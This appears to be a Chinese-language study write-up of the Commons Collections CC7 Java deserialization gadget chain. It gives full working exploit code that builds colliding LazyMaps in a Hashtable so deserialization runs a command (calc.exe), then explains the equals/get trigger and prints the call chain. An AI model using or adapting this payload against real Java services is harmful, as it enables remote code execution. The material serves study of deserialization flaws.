1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Transformer[] fakeTransformers = new Transformer[]{}; Transformer fakeChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, fakeChain); Map lazyMap2 = LazyMap.decorate(innerMap2, fakeChain);
lazyMap1.put("yy", 1); lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap2, transformerChain);
lazyMap2.remove("yy");
byte[] bytes = serialize(hashtable); System.out.println("序列化完成,准备触发反序列化...");
unserialize(bytes); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
哈希表在存放元素时,如果发现两个不同的元素算出来的 Hash 值一模一样(也就是发生了碰撞),它就需要进一步确认:为了确认这两个元素是否是一个东西,Hashtable 会调用后一个元素的 equals() 方法去和前一个元素进行比对。
在 Payload 中构造了两个特殊的 LazyMap(Map1、Map2),并且故意让它们的 Hash 值完全相同。当反序列化把 Map2 放进 Hashtable 时,发生了碰撞。于是触发了 Map2.equals(Map1)。LazyMap 没有自己的 equals 方法,它会向上调用父类 AbstractMap 的 equals 方法。

在 reconstitutionPut 中,如果发生哈希碰撞,会调用 e.key.equals(key) 来检查 key 是否相同

lazyMap1 和 lazyMap2 都是 LazyMap 对象,LazyMap 继承自 AbstractMapDecorator,没有重写 equals 方法,所以会调用 AbstractMap 的 equals

AbstractMap 是判断两个 Map 是否相等,它的逻辑是:遍历 Map2 里的所有 key,然后去 Map1 里挨个 get(key),查看取出来的值是不是一样。它去 Map1 里执行了 Map1.get(key)。如果这个 key 在 Map1 里不存在,触发机制就被彻底激活了,LazyMap 的工厂就会直接带着恶意的 ChainedTransformer 爆发。

后面和之前就一样了
1 2 3 4 5 6 7 8
| ois.readObject() <=> ObjectInputStream.readObject() Hashtable::readObject() ->Hashtable::reconstitutionPut() ->AbstractMapDecorator::equals() ->AbstractMap::equals() ->LazyMap::get() ->ChainedTransformer::transform() ->InvokerTransformer::transform()
|